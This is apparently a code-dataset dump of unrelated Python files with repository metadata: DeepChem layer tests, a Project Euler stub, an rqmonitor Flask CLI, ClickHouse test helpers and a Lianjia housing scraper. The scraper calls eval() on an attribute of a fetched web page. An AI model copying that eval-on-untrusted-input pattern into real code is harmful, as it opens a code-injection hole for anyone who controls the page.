SparseSoftMaxCrossEntropy in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 logits = np.random.rand(batch_size, n_features).astype(np.float32) labels = np.random.rand(batch_size).astype(np.int32) result = layers.SparseSoftMaxCrossEntropy()(labels, logits) expected = tf.nn.sparse_softmax_cross_entropy_with_logits( labels=labels, logits=logits) assert np.allclose(result, expected) def test_softmax_cross_entropy(self): """Test invoking SoftMaxCrossEntropy in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 logits = np.random.rand(batch_size, n_features).astype(np.float32) labels = np.random.rand(batch_size, n_features).astype(np.float32) result = layers.SoftMaxCrossEntropy()(labels, logits) expected = tf.nn.softmax_cross_entropy_with_logits_v2( labels=labels, logits=logits) assert np.allclose(result, expected) def test_sigmoid_cross_entropy(self): """Test invoking SigmoidCrossEntropy in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 logits = np.random.rand(batch_size, n_features).astype(np.float32) labels = np.random.randint(0, 2, (batch_size, n_features)).astype(np.float32) result = layers.SigmoidCrossEntropy()(labels, logits) expected = tf.nn.sigmoid_cross_entropy_with_logits( labels=labels, logits=logits) assert np.allclose(result, expected) def test_reduce_mean(self): """Test invoking ReduceMean in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceMean(axis=1)(input) assert result.shape == (5,) assert np.allclose(result, np.mean(input, axis=1)) def test_reduce_max(self): """Test invoking ReduceMax in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceMax(axis=1)(input) assert result.shape == (5,) assert np.allclose(result, np.max(input, axis=1)) def test_reduce_sum(self): """Test invoking ReduceSum in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceSum(axis=1)(input) assert result.shape == (5,) assert np.allclose(result, np.sum(input, axis=1)) def test_reduce_square_difference(self): """Test invoking ReduceSquareDifference in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceSquareDifference(axis=1)(input1, input2) assert result.shape == (5,) assert np.allclose(result, np.mean((input1 - input2)**2, axis=1)) def test_conv_2d(self): """Test invoking Conv2D in eager mode.""" with context.eager_mode(): length = 4 width = 5 in_channels = 2 filters = 3 kernel_size = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, in_channels).astype(np.float32) layer = layers.Conv2D(filters, kernel_size=kernel_size) result = layer(input) assert result.shape == (batch_size, length, width, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv2D(filters, kernel_size=kernel_size) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_conv_3d(self): """Test invoking Conv3D in eager mode.""" with context.eager_mode(): length = 4 width = 5 depth = 6 in_channels = 2 filters = 3 kernel_size = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, depth, in_channels).astype(np.float32) layer = layers.Conv3D(filters, kernel_size=kernel_size) result = layer(input) assert result.shape == (batch_size, length, width, depth, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv3D(filters, kernel_size=kernel_size) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_conv_2d_transpose(self): """Test invoking Conv2DTranspose in eager mode.""" with context.eager_mode(): length = 4 width = 5 in_channels = 2 filters = 3 kernel_size = 2 stride = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, in_channels).astype(np.float32) layer = layers.Conv2DTranspose( filters, kernel_size=kernel_size, stride=stride) result = layer(input) assert result.shape == (batch_size, length * stride, width * stride, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv2DTranspose( filters, kernel_size=kernel_size, stride=stride) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_conv_3d_transpose(self): """Test invoking Conv3DTranspose in eager mode.""" with context.eager_mode(): length = 4 width = 5 depth = 6 in_channels = 2 filters = 3 kernel_size = 2 stride = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, depth, in_channels).astype(np.float32) layer = layers.Conv3DTranspose( filters, kernel_size=kernel_size, stride=stride) result = layer(input) assert result.shape == (batch_size, length * stride, width * stride, depth * stride, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv3DTranspose( filters, kernel_size=kernel_size, stride=stride) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_max_pool_1d(self): """Test invoking MaxPool1D in eager mode.""" with context.eager_mode(): input = np.random.rand(4, 6, 8).astype(np.float32) result = layers.MaxPool1D(strides=2)(input) assert result.shape == (4, 3, 8) def test_max_pool_2d(self): """Test invoking MaxPool2D in eager mode.""" with context.eager_mode(): input = np.random.rand(2, 4, 6, 8).astype(np.float32) result = layers.MaxPool2D()(input) assert result.shape == (2, 2, 3, 8) def test_max_pool_3d(self): """Test invoking MaxPool3D in eager mode.""" with context.eager_mode(): input = np.random.rand(2, 4, 6, 8, 2).astype(np.float32) result = layers.MaxPool3D()(input) assert result.shape == (2, 2, 3, 4, 2) def test_graph_conv(self): """Test invoking GraphConv in eager mode.""" with context.eager_mode(): out_channels = 2 n_atoms = 4 # In CCC and C, there are 4 atoms raw_smiles = ['CCC', 'C'] import rdkit mols = [rdkit.Chem.MolFromSmiles(s) for s in raw_smiles] featurizer = dc.feat.graph_features.ConvMolFeaturizer() mols = featurizer.featurize(mols) multi_mol = dc.feat.mol_graphs.ConvMol.agglomerate_mols(mols) atom_features = multi_mol.get_atom_features().astype(np.float32) degree_slice = multi_mol.deg_slice membership = multi_mol.membership deg_adjs = multi_mol.get_deg_adjacency_lists()[1:] args = [atom_features, degree_slice, membership] + deg_adjs layer = layers.GraphConv(out_channels) result = layer(*args) assert result.shape == (n_atoms, out_channels) assert len(layer.trainable_variables) == 2 * layer.num_deg def test_graph_pool(self): """Test invoking GraphPool in eager mode.""" with context.eager_mode(): n_atoms = 4 # In CCC and C, there are 4 atoms raw_smiles = ['CCC', 'C'] import rdkit mols = [rdkit.Chem.MolFromSmiles(s) for s in raw_smiles] featurizer = dc.feat.graph_features.ConvMolFeaturizer() mols = featurizer.featurize(mols) multi_mol = dc.feat.mol_graphs.ConvMol.agglomerate_mols(mols) atom_features = multi_mol.get_atom_features().astype(np.float32) degree_slice = multi_mol.deg_slice membership = multi_mol.membership deg_adjs = multi_mol.get_deg_adjacency_lists()[1:] args = [atom_features, degree_slice, membership] + deg_adjs result = layers.GraphPool()(*args) assert result.shape[0] == n_atoms # TODO What should shape[1] be? It's not documented. def test_graph_gather(self): """Test invoking GraphGather in eager mode.""" with context.eager_mode(): batch_size = 2 n_features = 75 n_atoms = 4 # In CCC and C, there are 4 atoms raw_smiles = ['CCC', 'C'] import rdkit mols = [rdkit.Chem.MolFromSmiles(s) for s in raw_smiles] featurizer = dc.feat.graph_features.ConvMolFeaturizer() mols = featurizer.featurize(mols) multi_mol = dc.feat.mol_graphs.ConvMol.agglomerate_mols(mols) atom_features = multi_mol.get_atom_features().astype(np.float32) degree_slice = multi_mol.deg_slice membership = multi_mol.membership deg_adjs = multi_mol.get_deg_adjacency_lists()[1:] args = [atom_features, degree_slice, membership] + deg_adjs result = layers.GraphGather(batch_size)(*args) # TODO(rbharath): Why is it 2*n_features instead of n_features? assert result.shape == (batch_size, 2 * n_features) def test_lstm_step(self): """Test invoking LSTMStep in eager mode.""" with context.eager_mode(): max_depth = 5 n_test = 5 n_feat = 10 y = np.random.rand(n_test, 2 * n_feat).astype(np.float32) state_zero = np.random.rand(n_test, n_feat).astype(np.float32) state_one = np.random.rand(n_test, n_feat).astype(np.float32) layer = layers.LSTMStep(n_feat, 2 * n_feat) result = layer(y, state_zero, state_one) h_out, h_copy_out, c_out = (result[0], result[1][0], result[1][1]) assert h_out.shape == (n_test, n_feat) assert h_copy_out.shape == (n_test, n_feat) assert c_out.shape == (n_test, n_feat) assert len(layer.trainable_variables) == 3 def test_attn_lstm_embedding(self): """Test invoking AttnLSTMEmbedding in eager mode.""" with context.eager_mode(): max_depth = 5 n_test = 5 n_support = 11 n_feat = 10 test = np.random.rand(n_test, n_feat).astype(np.float32) support = np.random.rand(n_support, n_feat).astype(np.float32) layer = layers.AttnLSTMEmbedding(n_test, n_support, n_feat, max_depth) test_out, support_out = layer(test, support) assert test_out.shape == (n_test, n_feat) assert support_out.shape == (n_support, n_feat) assert len(layer.trainable_variables) == 7 def test_iter_ref_lstm_embedding(self): """Test invoking AttnLSTMEmbedding in eager mode.""" with context.eager_mode(): max_depth = 5 n_test = 5 n_support = 11 n_feat = 10 test = np.random.rand(n_test, n_feat).astype(np.float32) support = np.random.rand(n_support, n_feat).astype(np.float32) layer = layers.IterRefLSTMEmbedding(n_test, n_support, n_feat, max_depth) test_out, support_out = layer(test, support) assert test_out.shape == (n_test, n_feat) assert support_out.shape == (n_support, n_feat) assert len(layer.trainable_variables) == 12 def test_batch_norm(self): """Test invoking BatchNorm in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 input = np.random.rand(batch_size, n_features).astype(np.float32) layer = layers.BatchNorm() result = layer(input) assert result.shape == (batch_size, n_features) assert len(layer.trainable_variables) == 2 def test_weighted_error(self): """Test invoking WeightedError in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.WeightedError()(input1, input2) expected = np.sum(input1 * input2) assert np.allclose(result, expected) def test_vina_free_energy(self): """Test invoking VinaFreeEnergy in eager mode.""" with context.eager_mode(): n_atoms = 5 m_nbrs = 1 ndim = 3 nbr_cutoff = 1 start = 0 stop = 4 X = np.random.rand(n_atoms, ndim).astype(np.float32) Z = np.random.randint(0, 2, (n_atoms)).astype(np.float32) layer = layers.VinaFreeEnergy(n_atoms, m_nbrs, ndim, nbr_cutoff, start, stop) result = layer(X, Z) assert len(layer.trainable_variables) == 6 assert result.shape == tuple() # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.VinaFreeEnergy(n_atoms, m_nbrs, ndim, nbr_cutoff, start, stop) result2 = layer2(X, Z) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(X, Z) assert np.allclose(result, result3) def test_weighted_linear_combo(self): """Test invoking WeightedLinearCombo in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) layer = layers.WeightedLinearCombo() result = layer(input1, input2) assert len(layer.trainable_variables) == 2 expected = input1 * layer.trainable_variables[0] + input2 * layer.trainable_variables[1] assert np.allclose(result, expected) def test_neighbor_list(self): """Test invoking NeighborList in eager mode.""" with context.eager_mode(): N_atoms = 5 start = 0 stop = 12 nbr_cutoff = 3 ndim = 3 M_nbrs = 2 coords = start + np.random.rand(N_atoms, ndim) * (stop - start) coords = tf.cast(tf.stack(coords), tf.float32) layer = layers.NeighborList(N_atoms, M_nbrs, ndim, nbr_cutoff, start, stop) result = layer(coords) assert result.shape == (N_atoms, M_nbrs) def test_dropout(self): """Test invoking Dropout in eager mode.""" with context.eager_mode(): rate = 0.5 input = np.random.rand(5, 10).astype(np.float32) layer = layers.Dropout(rate) result1 = layer(input, training=False) assert np.allclose(result1, input) result2 = layer(input, training=True) assert not np.allclose(result2, input) nonzero = result2.numpy() != 0 assert np.allclose(result2.numpy()[nonzero], input[nonzero] / rate) def test_atomic_convolution(self): """Test invoking AtomicConvolution in eager mode.""" with context.eager_mode(): batch_size = 4 max_atoms = 5 max_neighbors = 2 dimensions = 3 params = [[5.0, 2.0, 0.5], [10.0, 2.0, 0.5]] input1 = np.random.rand(batch_size, max_atoms, dimensions).astype(np.float32) input2 = np.random.randint( max_atoms, size=(batch_size, max_atoms, max_neighbors)) input3 = np.random.randint( 1, 10, size=(batch_size, max_atoms, max_neighbors)) layer = layers.AtomicConvolution(radial_params=params) result = layer(input1, input2, input3) assert result.shape == (batch_size, max_atoms, len(params)) assert len(layer.trainable_variables) == 3 def test_alpha_share_layer(self): """Test invoking AlphaShareLayer in eager mode.""" with context.eager_mode(): batch_size = 10 length = 6 input1 = np.random.rand(batch_size, length).astype(np.float32) input2 = np.random.rand(batch_size, length).astype(np.float32) layer = layers.AlphaShareLayer() result = layer(input1, input2) assert input1.shape == result[0].shape assert input2.shape == result[1].shape # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.AlphaShareLayer() result2 = layer2(input1, input2) assert not np.allclose(result[0], result2[0]) assert not np.allclose(result[1], result2[1]) # But evaluating the first layer again should produce the same result as before. result3 = layer(input1, input2) assert np.allclose(result[0], result3[0]) assert np.allclose(result[1], result3[1]) def test_sluice_loss(self): """Test invoking SluiceLoss in eager mode.""" with context.eager_mode(): input1 = np.ones((3, 4)).astype(np.float32) input2 = np.ones((2, 2)).astype(np.float32) result = layers.SluiceLoss()(input1, input2) assert np.allclose(result, 40.0) def test_beta_share(self): """Test invoking BetaShare in eager mode.""" with context.eager_mode(): batch_size = 10 length = 6 input1 = np.random.rand(batch_size, length).astype(np.float32) input2 = np.random.rand(batch_size, length).astype(np.float32) layer = layers.BetaShare() result = layer(input1, input2) assert input1.shape == result.shape assert input2.shape == result.shape # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.BetaShare() result2 = layer2(input1, input2) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input1, input2) assert np.allclose(result, result3) def test_ani_feat(self): """Test invoking ANIFeat in eager mode.""" with context.eager_mode(): batch_size = 10 max_atoms = 5 input = np.random.rand(batch_size, max_atoms, 4).astype(np.float32) layer = layers.ANIFeat(max_atoms=max_atoms) result = layer(input) # TODO What should the output shape be? It's not documented, and there # are no other test cases for it. def test_graph_embed_pool_layer(self): """Test invoking GraphEmbedPoolLayer in eager mode.""" with context.eager_mode(): V = np.random.uniform(size=(10, 100, 50)).astype(np.float32) adjs = np.random.uniform(size=(10, 100, 5, 100)).astype(np.float32) layer = layers.GraphEmbedPoolLayer(num_vertices=6) result = layer(V, adjs) assert result[0].shape == (10, 6, 50) assert result[1].shape == (10, 6, 5, 6) # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.GraphEmbedPoolLayer(num_vertices=6) result2 = layer2(V, adjs) assert not np.allclose(result[0], result2[0]) assert not np.allclose(result[1], result2[1]) # But evaluating the first layer again should produce the same result as before. result3 = layer(V, adjs) assert np.allclose(result[0], result3[0]) assert np.allclose(result[1], result3[1]) def test_graph_cnn(self): """Test invoking GraphCNN in eager mode.""" with context.eager_mode(): V = np.random.uniform(size=(10, 100, 50)).astype(np.float32) adjs = np.random.uniform(size=(10, 100, 5, 100)).astype(np.float32) layer = layers.GraphCNN(num_filters=6) result = layer(V, adjs) assert result.shape == (10, 100, 6) # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.GraphCNN(num_filters=6) result2 = layer2(V, adjs) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(V, adjs) assert np.allclose(result, result3) def test_hinge_loss(self): """Test invoking HingeLoss in eager mode.""" with context.eager_mode(): n_labels = 1 n_logits = 1 logits = np.random.rand(n_logits).astype(np.float32) labels = np.random.rand(n_labels).astype(np.float32) result = layers.HingeLoss()(labels, logits) assert result.shape == (n_labels,)

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94

0.654747

4,572

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4.768591

0.071085

0.052426

0.052289

0.043345

0.760618

0.712503

0.676131

0.639116

0.612054

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95

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0.109281

0

null

0

1

0

null

0

1

c4f8a7e27a6b1a8b93095262140e88ebc073c0f4

790

py

Python

py/py_0049_prime_permutations.py

lcsm29/project-euler

fab794ece5aa7a11fc7c2177f26250f40a5b1447

[ "MIT" ]

null

py/py_0049_prime_permutations.py

lcsm29/project-euler

fab794ece5aa7a11fc7c2177f26250f40a5b1447

[ "MIT" ]

null

py/py_0049_prime_permutations.py

lcsm29/project-euler

fab794ece5aa7a11fc7c2177f26250f40a5b1447

[ "MIT" ]

null

# Solution of; # Project Euler Problem 49: Prime permutations # https://projecteuler.net/problem=49 # # The arithmetic sequence, 1487, 4817, 8147, in which each of the terms # increases by 3330, is unusual in two ways: (i) each of the three terms are # prime, and, (ii) each of the 4-digit numbers are permutations of one # another. There are no arithmetic sequences made up of three 1-, 2-, or # 3-digit primes, exhibiting this property, but there is one other 4-digit # increasing sequence. What 12-digit number do you form by concatenating the # three terms in this sequence? # # by lcsm29 http://github.com/lcsm29/project-euler import timed def dummy(n): pass if __name__ == '__main__': n = 1000 i = 10000 prob_id = 49 timed.caller(dummy, n, i, prob_id)

30.384615

77

0.711392

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0.032609

0.048913

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0.2

790

25

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1

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0.125

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0

null

0

null

0

1

0

1

c4f93be850b5b4fb3f0bf11c18b271c4dd267dcc

8,879

py

Python

rqmonitor/cli.py

trodery/rqmonitor

65831337591afe6887dec2dbb37a28d84f881f35

[ "Apache-2.0" ]

null

rqmonitor/cli.py

trodery/rqmonitor

65831337591afe6887dec2dbb37a28d84f881f35

[ "Apache-2.0" ]

null

rqmonitor/cli.py

trodery/rqmonitor

65831337591afe6887dec2dbb37a28d84f881f35

[ "Apache-2.0" ]

null

""" This reference script has been taken from rq-dashboard with some modifications """ import importlib import logging import os import sys from urllib.parse import quote as urlquote, urlunparse from redis.connection import (URL_QUERY_ARGUMENT_PARSERS, UnixDomainSocketConnection, SSLConnection) from urllib.parse import urlparse, parse_qs, unquote import click from flask import Flask, Response, request from rqmonitor.defaults import RQ_MONITOR_REDIS_URL, RQ_MONITOR_REFRESH_INTERVAL from rqmonitor.version import VERSION from rqmonitor.bp import monitor_blueprint logger = logging.getLogger("werkzeug") def add_basic_auth(blueprint, username, password, realm="RQ Monitor"): """Add HTTP Basic Auth to a blueprint. Note this is only for casual use! """ @blueprint.before_request def basic_http_auth(*args, **kwargs): auth = request.authorization if auth is None or auth.password != password or auth.username != username: return Response( "Please login", 401, {"WWW-Authenticate": 'Basic realm="{}"'.format(realm)}, ) def create_app_with_blueprint(config=None, username=None, password=None, url_prefix='', blueprint=monitor_blueprint): """Return Flask app with default configuration and registered blueprint.""" app = Flask(__name__) # Override with any settings in config file, if given. if config: app.config.from_object(importlib.import_module(config)) # Override from a configuration file in the env variable, if present. if "RQ_MONITOR_SETTINGS" in os.environ: app.config.from_envvar("RQ_MONITOR_SETTINGS") # Optionally add basic auth to blueprint and register with app. if username: add_basic_auth(blueprint, username, password) app.register_blueprint(blueprint, url_prefix=url_prefix) return app def check_url(url, decode_components=False): """ Taken from redis-py for basic check before passing URL to redis-py Kept here to show error before launching app For example:: redis://[[username]:[password]]@localhost:6379/0 rediss://[[username]:[password]]@localhost:6379/0 unix://[[username]:[password]]@/path/to/socket.sock?db=0 Three URL schemes are supported: - ```redis://`` <https://www.iana.org/assignments/uri-schemes/prov/redis>`_ creates a normal TCP socket connection - ```rediss://`` <https://www.iana.org/assignments/uri-schemes/prov/rediss>`_ creates a SSL wrapped TCP socket connection - ``unix://`` creates a Unix Domain Socket connection There are several ways to specify a database number. The parse function will return the first specified option: 1. A ``db`` querystring option, e.g. redis://localhost?db=0 2. If using the redis:// scheme, the path argument of the url, e.g. redis://localhost/0 3. The ``db`` argument to this function. If none of these options are specified, db=0 is used. The ``decode_components`` argument allows this function to work with percent-encoded URLs. If this argument is set to ``True`` all ``%xx`` escapes will be replaced by their single-character equivalents after the URL has been parsed. This only applies to the ``hostname``, ``path``, ``username`` and ``password`` components. Any additional querystring arguments and keyword arguments will be passed along to the ConnectionPool class's initializer. The querystring arguments ``socket_connect_timeout`` and ``socket_timeout`` if supplied are parsed as float values. The arguments ``socket_keepalive`` and ``retry_on_timeout`` are parsed to boolean values that accept True/False, Yes/No values to indicate state. Invalid types cause a ``UserWarning`` to be raised. In the case of conflicting arguments, querystring arguments always win. """ url = urlparse(url) url_options = {} for name, value in (parse_qs(url.query)).items(): if value and len(value) > 0: parser = URL_QUERY_ARGUMENT_PARSERS.get(name) if parser: try: url_options[name] = parser(value[0]) except (TypeError, ValueError): logger.warning(UserWarning( "Invalid value for `%s` in connection URL." % name )) else: url_options[name] = value[0] if decode_components: username = unquote(url.username) if url.username else None password = unquote(url.password) if url.password else None path = unquote(url.path) if url.path else None hostname = unquote(url.hostname) if url.hostname else None else: username = url.username or None password = url.password or None path = url.path hostname = url.hostname # We only support redis://, rediss:// and unix:// schemes. if url.scheme == 'unix': url_options.update({ 'username': username, 'password': password, 'path': path, 'connection_class': UnixDomainSocketConnection, }) elif url.scheme in ('redis', 'rediss'): url_options.update({ 'host': hostname, 'port': int(url.port or 6379), 'username': username, 'password': password, }) # If there's a path argument, use it as the db argument if a # querystring value wasn't specified if 'db' not in url_options and path: try: url_options['db'] = int(path.replace('/', '')) except (AttributeError, ValueError): pass if url.scheme == 'rediss': url_options['connection_class'] = SSLConnection else: valid_schemes = ', '.join(('redis://', 'rediss://', 'unix://')) raise ValueError('Redis URL must specify one of the following ' 'schemes (%s)' % valid_schemes) return True @click.command() @click.option( "-b", "--bind", default="0.0.0.0", help="IP or hostname on which to bind HTTP server", ) @click.option( "-p", "--port", default=8899, type=int, help="Port on which to bind HTTP server" ) @click.option( "--url-prefix", default="", help="URL prefix e.g. for use behind a reverse proxy" ) @click.option( "--username", default=None, help="HTTP Basic Auth username (not used if not set)" ) @click.option("--password", default=None, help="HTTP Basic Auth password") @click.option( "-c", "--config", default=None, help="Configuration file (Python module on search path)", ) @click.option( "-u", "--redis-url", default=[RQ_MONITOR_REDIS_URL], multiple=True, help="Redis URL. Can be specified multiple times. Default: redis://127.0.0.1:6379", ) @click.option( "--refresh-interval", "--interval", "refresh_interval", default=RQ_MONITOR_REFRESH_INTERVAL, type=int, help="Refresh interval in ms", ) @click.option( "--extra-path", default=".", multiple=True, help="Append specified directories to sys.path", ) @click.option("--debug/--normal", default=False, help="Enter DEBUG mode") @click.option( "-v", "--verbose", is_flag=True, default=False, help="Enable verbose logging" ) def run( bind, port, url_prefix, username, password, config, redis_url, refresh_interval, extra_path, debug, verbose, ): """Run the RQ Monitor Flask server. All configuration can be set on the command line or through environment variables of the form RQ_MONITOR_*. For example RQ_MONITOR_USERNAME. A subset of the configuration (the configuration parameters used by the underlying flask blueprint) can also be provided in a Python module referenced using --config, or with a .cfg file referenced by the RQ_MONITOR_SETTINGS environment variable. """ if extra_path: sys.path += list(extra_path) click.echo("RQ Monitor version {}".format(VERSION)) app = create_app_with_blueprint(config, username, password, url_prefix, monitor_blueprint) app.config["RQ_MONITOR_REDIS_URL"] = redis_url app.config["RQ_MONITOR_REFRESH_INTERVAL"] = refresh_interval # Conditionally disable Flask console messages # See: https://stackoverflow.com/questions/14888799 if verbose: logger.setLevel(logging.DEBUG) else: logger.setLevel(logging.ERROR) logger.error(" * Running on {}:{}".format(bind, port)) for url in redis_url: check_url(url) app.run(host=bind, port=port, debug=debug) def main(): run(auto_envvar_prefix="RQ_MONITOR") if __name__ == '__main__': main()

32.52381

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1,108

8,879

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0.278881

0.023966

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0.009054

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0.049352

0.026274

0

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0.245298

8,879

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0.008523

0

1

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false

0.072289

0.078313

0

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0.048193

0

null

0

null

0

1

0

1

c4fbf075eb619be044717172093dd9b2c09291e8

1,579

py

Python

dbms/tests/integration/helpers/test_tools.py

qqiangwu/ClickHouse

4700d375d8238ca3d7f39a1d0001f173272bbf3a

[ "Apache-2.0" ]

4

2020-04-27T13:03:31.000Z

2020-10-15T09:51:13.000Z

dbms/tests/integration/helpers/test_tools.py

RCcode/ClickHouse

ccfb51b8dd680a8ad2863e0b2f4e32364b86daf2

[ "Apache-2.0" ]

8

2018-11-21T09:45:25.000Z

2018-11-21T13:53:40.000Z

dbms/tests/integration/helpers/test_tools.py

RCcode/ClickHouse

ccfb51b8dd680a8ad2863e0b2f4e32364b86daf2

[ "Apache-2.0" ]

2

2018-12-17T13:08:09.000Z

2022-01-26T08:50:20.000Z

import difflib import time class TSV: """Helper to get pretty diffs between expected and actual tab-separated value files""" def __init__(self, contents): raw_lines = contents.readlines() if isinstance(contents, file) else contents.splitlines(True) self.lines = [l.strip() for l in raw_lines if l.strip()] def __eq__(self, other): return self.lines == other.lines def __ne__(self, other): return self.lines != other.lines def diff(self, other, n1=None, n2=None): return list(line.rstrip() for line in difflib.unified_diff(self.lines, other.lines, fromfile=n1, tofile=n2))[2:] def __str__(self): return '\n'.join(self.lines) @staticmethod def toMat(contents): return [line.split("\t") for line in contents.split("\n") if line.strip()] def assert_eq_with_retry(instance, query, expectation, retry_count=20, sleep_time=0.5, stdin=None, timeout=None, settings=None, user=None, ignore_error=False): expectation_tsv = TSV(expectation) for i in xrange(retry_count): try: if TSV(instance.query(query)) == expectation_tsv: break time.sleep(sleep_time) except Exception as ex: print "assert_eq_with_retry retry {} exception {}".format(i + 1, ex) time.sleep(sleep_time) else: val = TSV(instance.query(query)) if expectation_tsv != val: raise AssertionError("'{}' != '{}'\n{}".format(expectation_tsv, val, '\n'.join(expectation_tsv.diff(val, n1="expectation", n2="query"))))

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159

0.645978

212

1,579

4.641509

0.419811

0.045732

0.042683

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0.075203

0

0.00978

0.222926

1,579

40

160

39.475

0.792176

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0.064516

0

0.054923

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0.096774

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null

0

0.064516

null

0.032258

0

null

0

null

0

1

0

1

f204e6f22d0c9b479799a0897aaa41e742212566

5,767

py

Python

Lianjia/LianjiaErShouFang.py

Detailscool/YHSpider

ab1276c9167f70fed3ccff17e02fb62d51e4a469

[ "MIT" ]

1

2017-05-04T08:10:34.000Z

Lianjia/LianjiaErShouFang.py

Detailscool/YHSpider

ab1276c9167f70fed3ccff17e02fb62d51e4a469

[ "MIT" ]

null

Lianjia/LianjiaErShouFang.py

Detailscool/YHSpider

ab1276c9167f70fed3ccff17e02fb62d51e4a469

[ "MIT" ]

null

# -*- coding:utf-8 -*- import requests from bs4 import BeautifulSoup import sys import csv reload(sys) sys.setdefaultencoding('utf-8') def not_empty(str): return str and str.strip() if __name__ == '__main__': url_main = 'http://gz.lianjia.com' f = open(u'广州二手房.csv', 'wb') f.write(unicode('\xEF\xBB\xBF', 'utf-8')) # 文件头 writer = csv.writer(f) writer.writerow(['区域', '小区名称', '户型', '面积', '价格(万)', '单价(元/平米)', '性质', '朝向', '装修', '是否有电梯', '楼层', '建筑年代', '楼型']) res = requests.get(url_main+'ershoufang') res = res.text.encode(res.encoding).decode('utf-8') soup = BeautifulSoup(res, 'html.parser') # print soup.prettify() districts = soup.find(name='div', attrs={'data-role':'ershoufang'}) # <div data-role="ershoufang"> # soup.select() for district in districts.find_all(name='a'): print district['title'] district_name = district.text # '东城', '西城', '朝阳', '海淀'...... url = '%s%s' % (url_main, district['href']) # print url res = requests.get(url) res = res.text.encode(res.encoding).decode('utf-8') soup = BeautifulSoup(res,'html.parser') # print soup.prettify() page = soup.find('div', {'class':'page-box house-lst-page-box'}) if not page: # 平谷区没有房源，直接返回 continue total_pages = dict(eval(page['page-data']))['totalPage'] # 总页数 # print total_pages for j in range(1, total_pages+1): url_page = '%spg%d/' % (url, j) res = requests.get(url_page) res = res.text.encode(res.encoding).decode('utf-8') soup = BeautifulSoup(res, 'html.parser') # print soup.prettify() sells = soup.find(name='ul', attrs={'class':'sellListContent', 'log-mod':'list'}) if not sells: continue # <a class="title" data-bl="list" data-el="ershoufang" data-log_index="1" href="XX" target="_blank"> titles = soup.find_all(name='a', attrs={'class':'title', 'data-bl':'list', 'data-el':'ershoufang'}) # <a data-el="region" data-log_index="1" href="X" target="_blank"> regions = sells.find_all(name='a', attrs={'data-el':'region'}) infos = sells.find_all(name='div', class_='houseInfo') # <div class="houseInfo"> infos2 = sells.find_all(name='div', class_='positionInfo') # <div class="positionInfo"> prices = sells.find_all(name='div', class_='totalPrice') # <div class="totalPrice"> unit_prices = sells.find_all(name='div', class_='unitPrice') # <div class="unitPrice" data-hid="X" data-price="X" data-rid="X"> subways = sells.find_all(name='span', class_='subway') # <span class="subway"> taxs = sells.find_all(name='span', class_='taxfree') # <span class="taxfree"> N = max(len(titles), len(regions), len(prices), len(unit_prices), len(subways), len(taxs), len(infos), len(infos2)) # for title, region, price, unit_price, subway, tax, info, info2 in zip(titles, regions, prices, unit_prices, subways, taxs, infos, infos2): for i in range(N): room_type = area = orientation = decoration = elevator = floor = year = slab_tower = None title = titles[i] if len(titles) > i else None region = regions[i] if len(regions) > i else None price = prices[i] if len(prices) > i else None unit_price = unit_prices[i] if len(unit_prices) > i else None subway = subways[i] if len(subways) > i else None tax = taxs[i] if len(taxs) > i else None info = infos[i] if len(infos) > i else None info2 = infos2[i] if len(infos2) > i else None if title: print 'Title: ', title.text if region: region = region.text if price: price = price.text price = price[:price.find('万')] if unit_price: unit_price = unit_price.span.text.strip() unit_price = unit_price[:unit_price.find('元/平米')] if unit_price.find('单价') != -1: unit_price = unit_price[2:] if subway: subway = subway.text.strip() if tax: tax = tax.text.strip() if info: info = info.text.split('|') room_type = info[1].strip() # 几室几厅 area = info[2].strip() # 房屋面积 area = area[:area.find('平米')] orientation = info[3].strip().replace(' ', '') # 朝向 decoration = '-' if len(info) > 4: # 如果是车位，则该项为空 decoration = info[4].strip() # 装修类型：简装、中装、精装、豪装、其他 elevator = '无' if len(info) > 5: elevator = info[5].strip() # 是否有电梯：有、无 if info2: info2 = filter(not_empty, info2.text.split(' ')) floor = info2[0].strip() info2 = info2[1] year = info2[:info2.find('年')] slab_tower = info2[info2.find('建')+1:] print district_name, region, room_type, area, price, unit_price, tax, orientation, decoration, elevator, floor, year, slab_tower 